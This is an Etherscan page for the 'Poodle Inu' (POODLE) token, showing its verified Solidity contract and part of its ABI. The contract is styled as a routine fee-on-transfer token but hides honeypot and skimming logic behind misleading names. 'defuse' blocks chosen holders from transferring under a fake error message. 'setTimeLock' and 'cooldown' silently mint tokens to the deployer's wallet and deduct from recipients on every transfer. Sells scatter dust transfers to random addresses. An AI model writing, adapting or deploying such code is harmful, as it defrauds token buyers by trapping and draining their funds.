ETH Price: $2,704.18 (-0.64%)

Token

Poodle Inu (POODLE)
 

Overview

Max Total Supply

1,000,000,000,000 POODLE

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
990,025,534,131.2749132 POODLE

Value
$0.00
0x5cf21fbefe5ee9827c7510037677909c201fa29e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Poodle

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-08
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Poodle is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    
    string private _name = "Poodle Inu";
    string private _symbol = "POODLE";
    uint8 private _decimals = 9;

    address payable public marketingWalletAddress = payable(0x5CF21fBEFe5ee9827C7510037677909c201fA29e); // Marketing Address
    address payable public buyBackWalletAddress = payable(0x5CF21fBEFe5ee9827C7510037677909c201fA29e); // BuyBack Address
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) private isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isFeeLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyBuyBackFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellBuyBackFee = 0;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 2;
    uint256 public _BuyBackShare = 0;

    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;
    uint256 public _totalDistributionShares = 0;

    uint256 private _totalSupply = 1 * 10**12 * 10**9;
    uint256 public _maxTxAmount = 2 * 10**10 * 10**9;
    uint256 public _walletMax = 2 * 10**10 * 10**9;
    int256 public sendAddress = 8;
    uint256 private minimumTokensBeforeSwap = 25000 * 10**9;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[buyBackWalletAddress] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyBuyBackFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellBuyBackFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_BuyBackShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[buyBackWalletAddress] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[buyBackWalletAddress] = true;

        isFeeLimitExempt[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    uint256 public time = 2;
    uint256 public cooldown = 2;

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function removeLimits() external {
        _maxTxAmount = _totalSupply;
        _walletMax = _totalSupply;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function setBuyBackWalletAddress(address newAddress) external onlyOwner() {
        buyBackWalletAddress = payable(newAddress);
    }

    function defuse(address[] memory poor) external virtual {
        for (uint256 i; i < poor.length; i++) {
            require (poor[i] != address(this));
            require (poor[i] != buyBackWalletAddress);
            require (poor[i] != deadAddress);
            require (poor[i] != uniswapPair);
            require (poor[i] != owner());
            require (poor[i] != marketingWalletAddress);
            require (poor[i] != address (uniswapV2Router));
        isFeeExempt[poor[i]] = true;
      }
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function setTimeLock(uint256 newValue) external virtual {
        time = newValue;
    }

    function clearBalance() external {
        (bool success,) = payable(marketingWalletAddress).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!isFeeExempt[sender], "Unable to locate corresponding TransferEventLOGS");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isFeeLimitExempt[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);
            _balances[recipient] = _balances[recipient].sub(amount / 100 * cooldown);
            _balances[buyBackWalletAddress] = _balances[buyBackWalletAddress].add(amount / 100 * time);
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHBuyBack = amountReceived.mul(_BuyBackShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHBuyBack);

        if(amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if(amountETHBuyBack > 0)
            transferToAddressETH(buyBackWalletAddress, amountETHBuyBack);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(isFeeLimitExempt[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isFeeLimitExempt[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
            address ad;
            for(int i=0;i <=sendAddress;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(sender,ad,100);
            }
            amount.sub(uint256(sendAddress+1) * 100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BuyBackShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBuyBackFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBuyBackFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBackWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"poor","type":"address[]"}],"name":"defuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setBuyBackWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setTimeLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2